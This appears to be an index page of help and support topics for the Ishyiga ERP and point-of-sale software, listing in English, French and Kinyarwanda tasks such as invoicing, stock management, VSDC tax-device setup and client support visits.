Ishyiga

ISHYIGA ERP CMD

CREATE AN ITEM1845

SUPPLIER CREATION3

CREATE A SUPPLIER2

DISPLAY REPORT0

UPDATE AN ITEM6

STOCK SCANNING1

CREATE NEW SUB ACOUNT7

CREATE A NEW CLIENT15

CREATE A NEW SUPPLIER14

CREATE A NEW EMPLOYEE3

CREATE A NEW ACCOUNT7

MODIFY AN ACCOUNT3

VIEW CLIENT\'S DATA0

VIEW SUPPLIER\'SDATA0

VIEW EMPLOYEE\'S DATA0

MODIFY A CLIENT4

MODIFY A SUPPLY3

MODIFY AN EMPLOYEE0

DELETE A CLIENT10

DELETE A SUPPLIER3

DELETE AN EMPLOYEE1

RECORDING INVOICE1

RECORDING REFUND0

RECORDING DELIVERY NOTE0

RECORDING MVT OUT0

RECORD SUPPLIER EXPENSES1

RECORDING PAYMENT SUPPLIER(ON THE BANK)2

RECORDING PAYMENT SUPPLIER (ON CASH)3

RECORDING PAYMENT CLIENT(BANK)0

RECORDING PAYMENT CLIENT(ON CASH)1

DEPOSIT ON THE BANK3

RECORDING BANK CHARGES2

UPDATE RECORDED OPERATION5

PRINT CLIENT SITUATION4

PRINT SUPPLIER SITUATION2

VIEWING PROFIT AND LOSS5

VIEWING BALANCE SHEET3

VIEWING BILLING(CLIENT)5

VIEWING BILLING(SUPPLIER)4

create an item1

Friend Request through Pos Cmd in Ishyiga2

Friend Request through Pos Cmd in Ishyiga2

Friend Request through www.ishyiga.net2

Accept friend Request through www.ishyiga.net3

CLIENT SITUATION1

CUSTOMER PAYEMENT ON CAISSE1

EASY WORK TOOL1

PRINTING TIER ACCOUNTS1

INVENTORY REPORT2

SALES CASHNORME3

SALE ON INSURANCE5

CLIENT PAYEMENT ON BANK2

Registration on www.ishyiga.net through Pos Cmd11

COMPTABILISE INVOICE AND REFUND2

How to get account to login in www.ishyiga.net1

MAKING PROFORMA4

STOCK DAILY REPORT6

CLIENT CREATION597

REPORT OF ALL SALES4

CHANGING THE SELLING PRICE5

DELIVERY-INVOICE6

MAKING A PROFORMA IN ISHYIGA IMPORT VENTE7

TRANSFORM A PROFORMA INTO AN INVOICE4

REFUND INVOICE2

create company 1

INSURANCE NOT ALLOWED1

INSURANCE NOT ALLOWED0

REGISTER AN NEW DEPOT6

CREATE A FABRICANT3

ASSIGN A SUPPLIER AND FABRICANT3

CREATE ITEMS FAMILLY3

PURCHASE ORDER4

CREATE CLIENT IN RAMA2

TRANSFORM A PURCHASE ORDER INTO A DELIVERY VOUCHER2

DELIVERY VOUCHER TO DELVERY1

CREATE AND UPDATE SUPPLIER3

CREATION OF EMPLOYEE1

EMPLOYEE CHARGES1

CALCULATION OF SALARY1

PAYMENT OF EMPLOYEE1

PAYDAY ADVANCE1

MODIFICATION FOR MISTAKE YOU CAN DO1

DOWNLOAD AND REGISTER 1

TO MAKE DELIVERY7

PURCHASE ORDER VIA CLOUD4

RAMA and MMI Credit Report1

SUPPLIER REPORT5

DELIVERY ONLINE6

DELIVERY ONLINE0

REDIRECT ORDER1

SELL ON MMI AND RAMA1

SELL ON CASHNORM2

EXPIRED REPORT5

REPRINT OF DELIVERY 2

HOW TO ENTER DELIVERY NOTE4

REGISTER OF CLIENT2

EDIT RESERVATION2

DELETE RESERVATION2

CHANGE ROOM PRICE2

Changing Price0

Selling on POS_CAISSE1

Mouvement OF AN ITEM1

E-MAIL OF CLIENT BILLING 1

MUTE/SLEEP AN ITEM3

UNMUTE/UNSLEEP ITEM 1

CASHIER TICKET1

CASHIER TICKET0

CASHIER TICKET0

COMPTABILISE LIVE INVOICE1

COMPTABILISE LIVE REFUND1

COMPTABILISE LIVE DELIVERY0

VIEWING REPORT ON LIVE1

VIEWING SALES REPORT ON ISHYIGA LIVE2

VIEWING REFUND INVOICE ON ISHYIGA LIVE1

ADD NAME OF PRIVATE CLIENT TO THE INVOICE OF CASHNORM2

CREDIT INVOICE2

Item mouvements1

CHANGE INVOICE1

MVT OF AN ITEM4

MVT OF AN ITEM0

MVT OF AN ITEM0

MVT OF AN ITEM0

MVT OF AN ITEM1

TO CHANGE PURCHASE PRICE0

CHANGE THE PURCHASE PRICE2

REPORTS IF INVOICES1

REPORTS OF INSURANCE1

REPORT ON PURCHASED ITEMS1

TO CONNECT SDC1

UPDATE INVENTORY QUANTITY1

REQUESTING PRICE1

ISHYIGA MEDECINE2

reprint invoice2

REPRINT DELIVERY1

create new insurance1

update insurance to tariff cash1

DEPRECIATION TABLE3

HOW TO MAKE AN INVOICE2

GENERAL REDGER1

OK AND SOMMEIL1

DELIVERY OFFLINE1

MOVEMENT D\'ENTREE1

command from retailers to the supplier2

REMOVE ITEM FROM SOMEIL1

TO SET COEFFICIENT ON ITEM1

MOUVEMENT OUT OF AN ITEM1

UPDATE A SUPPLIER 1

CREATE A NEW SUPPLIER2

REPORT OF MVT OUT AND MVT IN1

TO UPDATE AN EMPLOYEE ISHYIGA POS VANTE2

TO SET TOP SALE1

COPY OF AN INVOICE1

HOW TO DELETE A COMMAND1

TO SET SELLING PRICE ON AN ITEM1

REPORT OF NET INVOICE1

INVOICES REPORT1

STOCK QUANTITY1

CREATION OF ITEM1

CREATION OF AN ITEM0

RECORDING PAYEMENT CLIENT(BANK)0

RECORDING PAYEMENT CLIENT(BANK)0

statistique(TOP QUANTITE)1

UPDATE AND REMOVE ITEMS IN THE BASKET3

SEARCH CATEGORY OF ROOM1

PRINT CONSUMPTION ON ROOM 1

MAP CONSUMPTION TO ROOM 1

CREDIT INVOICE1

HOW TO TRANSFORM BLT INTO BL1

HOW TO MAKE COMMAND3

HOW TO CREATE TIER2

REPRINT REFUNDED INVOICE0

REPRINT REFUNDED INVOICE1

purchase(calcul)2

ADD PRICE ON ITEM CREATED1

UPDATE A SUPPLIER2

general report1

new forwarding agent1

update forwarding agent1

update incoterm1

new location(from_destination)1

update location1

NEW MODE OF TRANSPORT1

UPDATE MODE OF TRANSPORT1

CREATE EMPLOYE4

CREDIT INVOICE WITH ADVANCE1

GENERAL LEDGER1

STOCK REPORT/DEPOT1

STOCK REPORT/SUPPLIER1

STOCK REPORT/FAMILY1

VAT CALCULATION1

VAT CALCULATION0

VAT CALCULATION1

BANK SITUATION ACCOUNT1

DELETE SUB ACCOUNT2

REDUCTION ON SELLING PRICE1

UPDATE CLIENT\'S INFORMATION1

CHANGE CATEGORY OF ROOM2

REPRINT INVOICE1

ALL SALES REPORT1

CHANGE CATEGORY OF ROOM 0

CHANGE FROM RESERVED TO OCCUPIED 2

UPDATE CLINET INFORMATION2

CREATE A GROUP2

DOUBLE CHECKIN1

DOUBLE RESERVATION 2

MOVE FROM ROOM TO ANOTHER 1

PRINT BILL OF GROUP 1

REPORT OF CHECKOUT1

REPORT OF OCCUPIED1

REPORT OF RESERVED1

REPORT USING ISHYIGA HOTEL1

REFUND OF DELIVERY 1

REFUND INVOICE1

REPRINT COPY INVOICE1

CONDITIONNEMENT BUP1

STOCK ANTERIUR FICHIER2

RELATE ITEM WITH A SUPPLIER2

CHECKING CLIENT VERSION1

BUGTOOL ASK QUESTION1

NOT AUTHORIZED1

ALERTE EXPIRED 1

ALERTE EXPIRED 0

ALERTE RUPTURE1

ADD ITEM TO IT\'S CATEGORY 1

INCOMPLETE INVOICES1

INVOICE NUMBER REPORT1

REPRINT MOVEMENT D\'ENTREE1

DELETE AN ORDER1

STOCK POSITIVE REPORT2

VIEWING AND REPRINT VIREMENT0

VIEWING AND REPRINT DELIVERY2

VIEWING AND REPRINT MVT OUT1

VIEWING AND REPRINT MVT IN1

tarif category1

update tarif category1

VIEW INVOICE IN OPTIONS2

report of one client1

REPORT OF REFUNDED INVOICE1

STOCK BY WAREHOUSE1

UPDATE EMPLOYEE1

DELETE ACCOUNT2

PROFORMA INTO DELIVERY1

PURCHASE REPORT BY SUPPLIER1

REMOVE AN ITEM(SLEEP)1

REPORT OF CHANGE DONE1

PRINT STOCK USING ISHYIGA 1

TICKET CASHDESK1

introduction to ishyiga clinic1

change coefficient1

add item on promotion1

HOW TO DELIVER A COMMAND FROM DIFFERENT STOCK1

how to upload support report1

HOW TO MAKE PROFORMA WITHOUT QTY IN STOCK1

Return to editingHow to view qty report in ishyiga POS CMD0

How to view qty report in ishyiga POS CMD0

manufacturing to many with no adjustment1

create user account in IMPORT CMD Cloud(distribution)7

Accept friendship0

Accept friendship0

EXTRACTION PRICE FOR INSURANCE1

Register New Patient13

Adding new Diagnostic8

Change tarrif11

Adding new diagnostic to a patient5

Perform diagnostic to a patient4

add new prescription4

create new treatment7

ADDING A SUPPLIER4

Friend request5

reply a friendly request0

reply a friendly request3

reply a command4

UPDATE TRAITMENT2

ADDING NEW TEST

REGISTERING NEW TEST

PRINTING PURCHASE

VIEW LIST OF TIER

ADD A RESPONSE NOTE

IMPORT STOCK VALUE ON COMPTA

PROFIT AND LOSS FOR ONE BRANCHE +THE STOCK VALUE

RESPOND REQUEST

PRINT PROFIT AND LOSS

DELETE ACCOUNT USING ISHYIGA COMPTA

PRINT HISTORY USING ISHYIGA COMPTA

VIEW COMMAND ONLINE

how to make autocommand

VIEW STOCK ONLINE

DISPENSING OF ITEMS

ADD ITEMS IN A STOCK

CREATE A NEW USER

CHOOSE TEST TO THE PATIENT

DIAGNOSTIC TO HTE PATIENT

REGISTER A NEW PATIENT

SELECT DIAGNOSTIC TO THE PATIENT

ADD RESULT OF TESTS

SUPPLIER CREATION

To see stock value

Change proforma into an invoice with credit

SALES REPORT WITH THEIR WAREHOUSES

SALES REPORT WITH THEIR WAREHOUSES

CASHDESK REPORT IN A GIVEN PERIOD

PROFORMA REPORT

CREDIT INVOICE REPORT

CASH INVOICE REPORT

TO GIVE AUTHORISATION

TO SEE WAREHOUSES CREATED

TO SEE CLIENTS WHO USE A GIVEN ASSURANCE

ISHYIGA CLIENT TOOL

VSDC INSTALLATION

REPUSH INVOICES

REGISTER CLIENT MACHINE

REGISTER NEW EMPLOYE

INSTALLATION VSDC

INSTALLATION VSDC

NETWORK PROBLEM

Update Client Information

INSTALLATION OF ISHYIGA

StandBY Delivery

REGISTER CLIENT MACHINE

REGISTER NEW EMPLOYE

CHECKING CLENT STATUS

REGISTER VSDC LIVE

GENERAL REPORT ERROR

FACTURE ZIDASOHOKA

PRINTER PROBLEM

INSTALL ANTIVIRUS

SHARING PRINTERS

SUPPORT FOR DATA BUTTON

NETWORK CONFUGURATION ,CHANGING SERVER

INSTALLATION OF ANTI_VIRUS

GUSHYIRA ISHYIGA MURI MACHINE CLIENT

FACTURE FOURNISSEUR

Bug tool (Mantis)

PULL ISHYIGA INTO MACHINE

GUKOSORA UMUTI USOHOKA KURI FACTURE

SET SDC TIME TO MRC TIME

CHECKING PROFORMA

CHECKING WHY VSDC NOT WORKING

SUPPORTER DAILY FIELD REPORT

VSDC PROBREM SKMM

ISSUE ON DROPBOX FOR BACKUP

RECONNECT ISHYIGA TO CLIENT MACHINE

PREPARE DB FOR NEW INSTALLATION

Windows and Java Problems

DATA EXTRACTION

ADDING EMAIL TO THE GLOBAL ACCOUNT

DATA TRANSFERING

INSTALLATION OF NEW PC

VSDC INSTALLATION CONTINUE

DATABASE UNIPHARMA ALL BRANHCES

ISSUE ON INVOICE

VSDC Z REPORT CHECK

VSDC ISSUE ON TAX CODE

CHANGE LES NUMERO DE COMPTE

CHECKING REPORT

UPDATE ISHYIGA NEW VERSION POS

UPDATE ISHYIGA NEW VERSION POS

UPDATE ISHYIGA FOR NEW VERSION ERP

CHANGE BL BACK TO BLT

Proforma Generation

Proforma Generation

UPDATE RHIA TARIFF

DEPLOYMENT PLAN

STANDUP MEETING

HOW TO CREATE NEW INSURANCE USING SOCIETE TARIFF

Debug Along with Developers

CREATION NEW INSURANCE

CONTRACT ANALYSIS

CHECKING BACKUP

REGISTER NEW TABLET

GUSHYIRA STOCK KURI ZERO

Client Tool Update

PRESENTATION ISHYIGA POS

HELP TO INSTALL ACCOUNT

SERVER MIGRATION

TO GIVE NOTICE RELEASE VERSIONS

GIVE AUTHORIZATION

REMINDER USER ID AND PASSWORD

SEND BACK ISHYIGA VERSION

anydesk Support

Talk with Client

SETUP PRINTOUT DOCUMENT

Adding missing variable

Gukosora facture yanditse nabi

EMPLOYEE REPORT

Presentation Ishyiga Compta

ISHYIGA PRESENTATION

DATABASE MAINTAINANCE

CONNECTION FAIL

Windows Installation

CHANGE PRICE ON SOCIETE

ERROR TABLE CHECKING FOR CLIENT

MAKING VIDEO OF INEZA

Allowing POS CMD IN KASPERSKY APPs

DATABASE PREPARATION

CHECKING WHY DELIVERY IS MISSED

Check why stock are not on live

Delivery itinjiza quantite

CONFIGURE INTEGRATION INVIRONMENT

ANALYSE DELIVERY REPORT

database update

REPORT AND ANALYSIS

stock have already taken

CREATION DE DEPOT

CLIENTS SITUATION

MAKING INVOICES ON CLIENT MACHINES

FACTURE ZA RAMA ZISOHOKA MURI FORMAT ITARIYO

UPDATE SOCIETE TARIFF TO CASHNORM

INVOICE WITH NO LOGO

CHECK CLIENTS SITUATION

CHECK THE XML SENT IN INTEGRATION

TEST AND UPDATE

LIQUID TELECOM NEGOTIATION ON INTERNET PROBLEM

INSTALLATION VSDC+ INTEGRATION

GUHUZA COMPTE FRAIS DE CONTROLE NA TIER RFDA

KUVANA ASSURANCES MURI SOCIETE ZIGAKORESHWA UKWAZO

RESTART THE SERVER FOR VSDC ERROR

KUREBA IMPAMVU QTY ZITANDUKANYE HAKURIKIJWE MVT ZAKOZWE

VISITE + CHECK CLIENT SITUATION

REPORT ALL INVOICES ifite information za SDC number na invoice number

BACK OFFICE REPORT

CHECK IF VSDC HAS SKIPED INVOICES

KUREBA IMPAMVU HARI ITEMS ZITEMERA GUCURUZWA

CHEKING WHY DELIVERY NOT TRANSFORMED

MIS A PAGE AND CHECK WHY INVOICES WHERE NOT REPORTED

KUREBA IMPAMVU FACTURES ZITABAYE REPORTED KURI RRA. NO KUYIKEMURA

Kureba impamvu livraison cmd imwe yagiye muri transit hakozwe groupage y eshatu

FACTURE YA RAMA IZA NTA ITEM ZANDITSEHO

CONFIGURE AUTOBACKUP BY INSTALLING DROPBOX

PUT RRALOGO ON INVOICES CONFIGURE AUTOBACKUP

CHECK AND START SERVER

FAILED REFUND WITH PROOF OF SUCCESS ON PRINT OUT ,DATABASE ANALYSIS

REGISTER CLIENT IN SOCIETE

DELIVERY REPORT

CONFIGURE DISTRIBUTION AND COMPTA

CHANGE DELIVERY DATE AND REFERENCE

Kureba impamvu kwinjiza muri stock byanze

Gufunga firewalls

CONTRACT REVIEW

GUCANA VSDC NA VENTE KURI SERVER

GUCANA VSDC NO KUREBA IKIBAZO KIRI MURI MVT IN

KUREBA IMPAMVU FACTURES ZIGARAGARA MURI RAPORO ZARAKOREWE REFUND

FACTURE YA MMI IDASOHOKA

STOCK DEJE PRIS

COMMAND ZIDASOHOKA

GUSOBANURA UKO YAHUZA CODE ZO MURI DEPOT N IZA PHARMACIE

CHECH WHY BALANCE SHEET SHOW THE STOCK

GUKOSORA FACTURE PARTICULIER YAZAGAHO AMAFARANGA MENSHI ATARI YO

KUREBA IMPAMVU FACTURE YA CLIENT UMWE ITABA REFUNDED

KUREBA IMPAMVU ITEMS NYINSHI ZITAGARAGARA HAKOZWE SEARCH

INSURRANCES CREATION & PUT PRICES

KUREBA IMPAMVU HARI ITEM YINJIJWE HAMWE N IZINDI ARIKO NTIZE KURI PRINTOUT

DEALING WITH VSDC YIZIMYA

ANALYSE INVENTORY REPORT

GUHINDURA VERSION KUKO ITEMS NYINSHI ZITAGARAGARAGA HAKOZWE SEARCH,NO GUKOSORA INFO ZITAZAGA KURI CALCUL SHEET

GUKOSORA ITEM HAZAGA ITARIYO KURI FACTURE

UPDATE DB FOR TESTING

CHECK WHY SDC WAS NOT WORKING

PREPARE DB FOR TESTING

KUVANA MURI TRANSIT NO GUCANA VSDC

ANALYSE Clients End And Remains One Month For ContracT

KUMVA NO GUTEGURA DOCUMENT IZAJYA ISINYWA NA CLIENTS FOR SESSIONS

GUKOSORA FACTURE

CHECK AHO INFO ZIRIMO DEPOT ZIZA KURI FACTURES ZIVA

TO FILL VSDC FORM

JDK Installation

TRAINING ON INSURENCE GROBAL REPORT

REINSTALL ISHYIGA AND INSTALL VSDC

EXPORT INVOICE ,REPRINT AND CHANGE VSDC VERSION

SHARE ISHYIGA FROM SERVER TO OTHER MACHINE VIA VPN

KUVANA MURI TRANSIT NOA CREATION NEW EMPLOYEE

KUVANA MURI TRANSIT NA CREATION NEW EMPLOYEE NO GUCANA VSDC

GUSHYIRA DATE KURI DELIVERY

GUSHYIRA DATE KURI DELIVERY NO KONGERA SIZE YA EXPIRE DATE

TRAINING ON HOW TO RECEIVE COMMAND FROM APPY

GUKOSORA REPRINT YA BON LIVRAISON YATANGAGA TOTAL ITARIYO

ISHYIGA RITAKA KURI MACHINE CLIENT

FIELD VISITE REPORT

COLLECT ALL FIELD ENVIRONMENT

Training on Traceability

Training on Traceability

GUHINDURA DEPOT

CLEAN DATABASE AND TRAIN ON POS COMMANDER AND POS CAISSE

CONNECT SDC AND TAKE BACKUP

CHANGE VERSION FOR CREATION, UPDATE BRITAM PRICES,CHECK SCANED INVOICES,

FOLLOW UP ON RSSB TEST ,ADD PRESCRIBERS, CORRECT AFFILIATES, CHECK SCANNED INVOICES AND PRESCRIPTIONS

CHECK WHERE COMES STOCK VALUE THAT APPEAR ON PROF&LOSS REPORT AND CORRECT

CONFIGURE ISHYIGA TO NEW IP ADDRESS ,SHARE IT AND MAKE IP STATIC ON SERVER

CHECK INVOICES THAT SEEM NOT REPORTED ON RRA

GUKOSORA FACURE YAJEMO MINUS

UPDATE VSDC, CHECK IF ALL MAY INVOICES WERE REPORTED, PUT ISHYIGA SHORTCUTS ON DESKTOP

CHECK INVOICES THAT WERE NOT REPORTED AND REPUSH

CHECK WHY SOME INVOICES ARE NOT IN REPORT AND ADD MISSING PRESCRIBERS

ACTIVATE AFFILIATES IN ISHYIGA WHO WERE ALREADY ACTIVATED IN RSSB:: VCDC

CONFIGURE ISHYIGA TO NEW IP ADDRESS ,SHARE IT AND CHECK WHY ALERTES WERE NOT REPORTED

UPDATE VSDC AND CIS

CHECK INVOICE SAID NOT TO BE REPORTED ON BACK OFFICE EBM2 AND UPDATE VSDC

CHECK VSDC TO REPORT INVOICES,AND UPDATE VSDC

CHANGE EQUITY BANK TO EQUITY AND UPDATE CLIENTS, INVOICES AND REFUND

ADD PRESCRIBERS, CHECK ITEM MISSED ON INSURANCE LIST,UPDATE VSDC

UPDATE VSDC AND HELP ON ERRORS THAT COME IN COMMANDER

UPDATE VSDC AND HELP ON IP CHANGE

CHECK THE 2 INVOICES CLAIMED NOT TO BE REPORTED IN BOTH ISHYIGA AND RRA BACK OFFICE

CHECK THE 2 INVOICES CLAIMED NOT TO BE REPORTED IN BOTH ISHYIGA AND RRA BACK OFFICE

CHECK THE 2 INVOICES CLAIMED NOT TO BE REPORTED IN BOTH ISHYIGA AND RRA BACK OFFICE

THE SYSTEM WAS NOT WORKING IN ONE MACHINE

AFFILIATE NOT FOUND

MAKE IP ADDREESS STATIC , START ISHYIGA ON NEW IP

GUFATA BACKUP,GUKURAMO ERROR MESSAGES ZA END QUEUE, NO KUREBA IMPAMVU ABAKOZI BAMWE BADACANA SDC NGO IKUNDE

HAZAGA ERRORS ,GUSHYIRAHO VERSION YEMERA GU CREA ITEM

UPDATE VSDC AND CIS AND CHECK INVOICES THAT WERE NOT REPORTED AND REPUSH

IP ADDRRESS CHANGED, AND UPDATE VSDC AND CIS

EMPLOYEES ACCOUNT CREATION

HELP TO FIND MISSING ITEMS AND SYNCHRONISATION

GUKOSORA FACTURE ZA RSSB

INSURANCE ITAGARAGARA KURI TARRIF

DISK CLEAN UP AND FOLLOW UP

ADD PRESCRIBERS, ACTIVATE MISSING AFFILIATES WHICH ARE ALLOWED,GUCANA VSDC,

UPDATE SUPPLIER

BUGTOOL CLEANING

CHECK HOW 2 INVOICES MADE FROM ONE DELIVERY

GLOBAL ACCOUNT CREATION AND GIVE AUTHORISATIONS,CHECK ONE INVOICES WHICH DID NOT REFUNDED

ADD MISSED PRESCRIBERS, AND ACTIVATED AFFILIATE MISSED

Allowing POS CAISSE IN KASPERSKY APPs

ADD MAC ADDRESS OF ONE MACHINE

ADD MAC ADDRESS OF ONE MACHINE AND END QUEUE

CONNECT NEW MACHINE AND SYNCHRONIZE

ERROR KURI TOTAL YA LIVRAISON

UPDATE THE PRINT OUT OF DELIVERY WITHOUT PRICES,TAKE BACKUP, END QUEUE,

TRAINING ON ERP CAISSE,SHARE ISHYIGA ON OTHER MACHINE, SHARE PRINTER

TRAINING ON ERP CAISSE,SHARE ISHYIGA ON OTHER MACHINE, SHARE PRINTER ,CONFIGURE AUTOBACKUP

ERROR KURI REPRINT INVOICE

ADDING COMPANY INFORMATION

Purchases entry

KUREBA IMPAMVU VERSION 7.0.2 CMD IHAGARARA

KUREBA IMPAMVU GUHINDURA IGICIRO BITEMERA KURI CASHNORME

REINSTALL JAVA, AND CONNECT SDC

REINSTALL JAVA, AND CONNECT SDC, START ISHYIGA ON NEW MACHINE IP ADDRESS

CHECK WHY SOME QUANTITES ON REFUNDED INVOICE ARE NOT DISPLAYED TO BE SOLD

ASSIGN ITEM TO FRSS

PREPARE ITEMS AND IONSERT THEM IN DEPOT

GUSUBIRA INYUMA KURI VERSION

RAPPORT FOURNSEUR

RAPPORT FOURNSEUR

RAPPORT FOURNSEUR

GUTEGURA DATABASE

Process Invoices

Service Database Re-connection

REINSTALL ISHYIGA AND VSDC

ANALYSE THE PROBLEM OF LOST DATA, CHECK ON BACKOFFICE ANNEXURE,

PREPARE VSDC DATABASE, INVOICING UNREPORTED INVOICES, CHECK REPORTS

SYSTEM FOLLOW UP

CHECK WHY BC(BON DE COMMANDE) WAS NOT WORKING, CHECK WHY GROUPAGE OF 3 BC CALCULATE ONLY ONE

CREATE SANLAM INSURANCE AND CONNECT IT TO EXISTING CLIENTS OF SORAS , SAHAM AND TO EXISTING REPORTS

FACTURE YARI YANZE HAZA ERROR YA SYSTEM CALCULATION,ADD PRESCRIBER

PREPARE AND INSTALL ISHYIGA COMPTA

CREATE NEW ACCOUNT (GLOBAL ACCOUNT) AND UPDATE TO NEW VERSIONS

UPDATE ISHYIGA TO NEW VERSIONS AND REPUSH UNSYNCED RECEIPT\'S

monitoring Service Performance

Server Idafata Network

TESTING BILLRUN

TEST AND SOLVE THE PROBLEM WHICH CAUSED MORE UNBALANCED

TEST AND SOLVE THE PROBLEM WHICH CAUSED MORE UNBALANCED

MAC ADDRESS OF MACHINE HAS CHANGED AND Vsdc WAS NOT CONNECTING

SET POIDS TO ALL ITEMS ,HELP IN DOING CALCUL

SET ISHYIGA ON LOCALHOST AHO BIMURIYE MACHINE AND UPDATE DATABASE

SET ISHYIGA ON LOCALHOST AHO BIMURIYE MACHINE AND UPDATE DATABASE AND TAKE BACKUP

REINSTALL JAVA, CHECK WHY SDC IS NOT CONNECTING

CHECK UNBALANCED, SYNC INVOICES WITH ERRORS ,CHECK ITEM WHICH IS NOT BEING SYNCHRONIZED

CHECK DELIVERY MISSED, CHECK WHY ONE CLIENT IS NOT BEING SERVED

CHECK UNBALANCED, REPUSH INVOICES WITH ERRORS

DELIVERY NOTE WITH FAIL STATUS

REPUSH INVOICES WITH ERROR AS SYNCED RESPONSE

MAC ADDRESS OF MACHINE HAS CHANGED AND VSDC WAS NOT CONNECTING

GIVE AUTHORIZATION,ADD COGEBANK ACCOUNT ON DELIVERY NOTE

CORRECT PRODUCTION STOCKEE- IN PROFIT& LOSS REPORT,COMPTABILIZE NEW DELIVERY ENTERED IN USD AND REMOVE FROM TRANSIT

CMD NO TRANSFORMED TO BLT

TRAINING ON ISHYIGA LIVE( MONITORING STOCK OF DIFFERENT BRANCHES)

VISIT ,TAKE BACKUP AND END QUEUE

VISIT ,TAKE BACKUP AND END QUEUE

VISIT ,TAKE BACKUP AND END QUEUE

VISIT ,TAKE BACKUP AND END QUEUE

VISIT ,TAKE BACKUP AND END QUEUE

KUVANA MURI TRANSIT

HUMANOID MEETING

HELP ON CALCULATION ERROR MESSAGE,PUT VSDC, CAISSE EXE ON DESKTOP, START ISHYIGA ON NEW IP,

HELP ON CALCULATION ERROR MESSAGE

ADD MISSING ITEM ON RAMA

VISITE,CHANGE SOME INFORMATION ON INVOICE,SYNCHRONIZER, ABOUT UPDATE CONTRACT

VISITE,CHANGE SOME INFORMATION ON INVOICE,SYNCHRONIZER, ABOUT UPDATE CONTRACT

SDC WAS NOT CONNECTED, VSDC FORMS

DEALING WITH TRACEABILITY ISUE

CHECK WHY VSDC WAS NOT PERFOMING ZD COMMANDS, CHANGE VERSION

CORRECT INVOICE WITH STANDBY AS INVOICE NUMBER, END QUEUE

CORRECT INVOICE WITH STANDBY AS INVOICE NUMBER, END QUEUE

KUREBA IMPAMVU FACTURE IMWE ITAKUYEMO STOCK

KUREBA IMPAMVU ITEMS ZIMWE MVT SORTIE IDAKUNDA, NO KUVANA MURI TRANSIT

CHECK WHY INVOICES TOOK MUCH TIME, DELETE TEMP FOLDERS

Monitor the system performance

Monitor the system performance

Check Vsdc Balance

PREPARE DATABASE AND DO INSTALLATION

KUBAFASHA KUBONA RAPORO YA NYAKANGA 2020

KUBAFASHA KUBONA RAPORO YA NYAKANGA 2020

CREATE NEW EMPLOYEE

DELIVERY NOT SCANNED

TESTING ISHYIGA DISTRIBUTION USING CLOUDING

PREPARE DATABASE FOR DISTRIBUTION, ITEM INJECTION

TESTING DISTRIBUTION USING CERCLE CHANEL

SHARE ISHYIGA ON CLIENT MACHINE

THERE WAS AN ARROR IN REFUND THAT STOPS VSDC

CONFIGURE ISHYIGA ON NEW IP ADDRESS OF SERVER AND SHARE IT

ADD MISSING PRESCRIBERS ON RSSB

CONFIGURE RADIANT,UAP,SANLAM AND BRITAM IN RHIA PLUS TO UPDATE ADDITIONAL LIST

CHANGING ISHYIGA PATH

ANALYSE THE PROBLEM SAID OF DATA INEQUALITY, CHECK ON BACKOFFICE ANNEXURE

TEST ISSUE ON REFUND DELIVERY AND REFUND INVOICE AND GiVE NEW VERSION

PUT CORRECT BANK ACCOUNT ON DELIVERY

TRAINING ON DIFFERENT FUNCTIONS (CAISSE AND STOCK) AND CREATE NEW EMPLOYEE

REINSTALL JAVA, AND CONNECT ISHYIGA ON CLIENT MACHINE

CORRECT THE PRODUCTION STOCKEE IN PROFIT AND LOSS REPORT AND CHANGE FIREWALL STATUS

GUIDE POUR ANNULER LE BON DE RECEIPTION AVEC ERREUR DE PRIX DE REVIENT

Perform Data Backup

PROFORMA IDASOHOKA

CHECK WHY SOME INVOICES WERE PERFOMED

INCOMPLET INVOICES AND AUTO REFUND

GUTANGA ACCESS KURI SERVER

FIREWALLS AND NETWORK SHARING WERE CHANGED, SHARING ISHYIGA AND PRINTER

CHECK WHY ISHYIGA CMD(STOCK) WAS NOT WORKING ON ONE MACHINE

DEMO PREPARATION

CORRECT ITEMS ON INVOICES

TRAINING ON SYMPONY

UPDATE ISHYIGA VERSION, START CONFIGURATIONS OF DISTRIBUTION INSti

UPDATE ISHYIGA VERSION, START CONFIGURATIONS OF DISTRIBUTION INSTALLATION

GLOBAL ACCOUNT CREATION

REINSTALL JAVA ,ISHYIGA ,DROPBOX,CHANGE NOM_BC(ON COMMAND) AND UPDATE ISHYIGA

BON DE COMMANDE YAZAGA YANDITSEHO MVT ENTRE

SYSTEM ITAKA(ISHYIGA)

KUREBA IMPAMVU BACANAGA STOCK HAKAZA IMITI IFITE STATUS YA SOMMEIL GUSA

GUKORA TEST KU INEZA NO GUCANA VSDC LINK YARI YAVUYEHO

GUIDE HOW TO REPRINT AN INVOICE

TEST VERSION FOR REPORTED ERROR, CREATE NEW ACCOUNTS,UPDATE TO NEW VERSION 8.3.0

COMPLETE UNCOMPLETED INVOICES FROM APRIL 2019 UP TO NOW, AND REFUND THEM

CHECH AND ANALYSE THE ANTERIOR STOCK FOR A CERTAIN DATE

HELP ON COMPLETING UNCOMPLTED INVOICES AND REPORT BUGS IN VSDC

REFUND COMPLETD INVOICES, CHECK Z REPORT

CHECKING WHY SHARED FOLDERS WERE NOT ACCESSED AND ENABLE THE POLICY FOR GUEST LOGONS

CHECK 2 DELIVERIES THAT WERE NOT COMPTABILISED, AND REMOVE PRODUCTION STOCKEE

ERROR KURI TOTAL YA FACTURE

GUSUBIZAMO GLOBAL ACCOUNTS

COMPLET UNCOMPLETED INVOICES AND REFUND THEM AND CHECK UNBALANCED

Return Errors check

VSDC BACKUP AND CHECK ZREPORT

UPDATE VSDC,ERP TO NEW VERSION WHICH PULL ITEMS,STOCK AND PUSH TO RRA BACKOFFICE

GUHUZA IBICIRO BYA CASHNORM

CONFIGURE AUTOBACKUP AND HELP ON SYSTEM CALCULATION ERROR

CLIENT SORAS BATABA REGISTERED

UPDATE BOTH ERP AND VSDC TO NEW VERSION

GLOBAL ACCOUNT ZITAMANUKA

FACTURE ZA RAMA ZIDASOHOKA

CREATE NEW ACCOUNT (GLOBAL ACCOUNT) OF VINE EMPLOYEES

Bon de Livraison not appearing in the System

ANALYSE WHY STOCK ANTERIEUR FICHIER ON CERTAIN DATE WAS NOT COMING AND CORRECT IT

TESTING POS CAISSE FOR SYSTEM CALCULATION ERROR

CHECKING IF NEW VSDC VERSION IS REPORTING

CHECKING REASONS WHY SOME INVOICES ARE NOT REPORTED IN RRA

CONFIGURE TRACEABILITY AND TEST IT

GUKOSORA BLV YARI YASOHOTSE KUMU CLIENT UTARIWE

GUKOSORA BLT IFITE IKIBAZO CYA DEVISE

SYSTEM ERROR CALCULATION

EVALUATION VENTE GROS

EVALUATION VENTE GROS

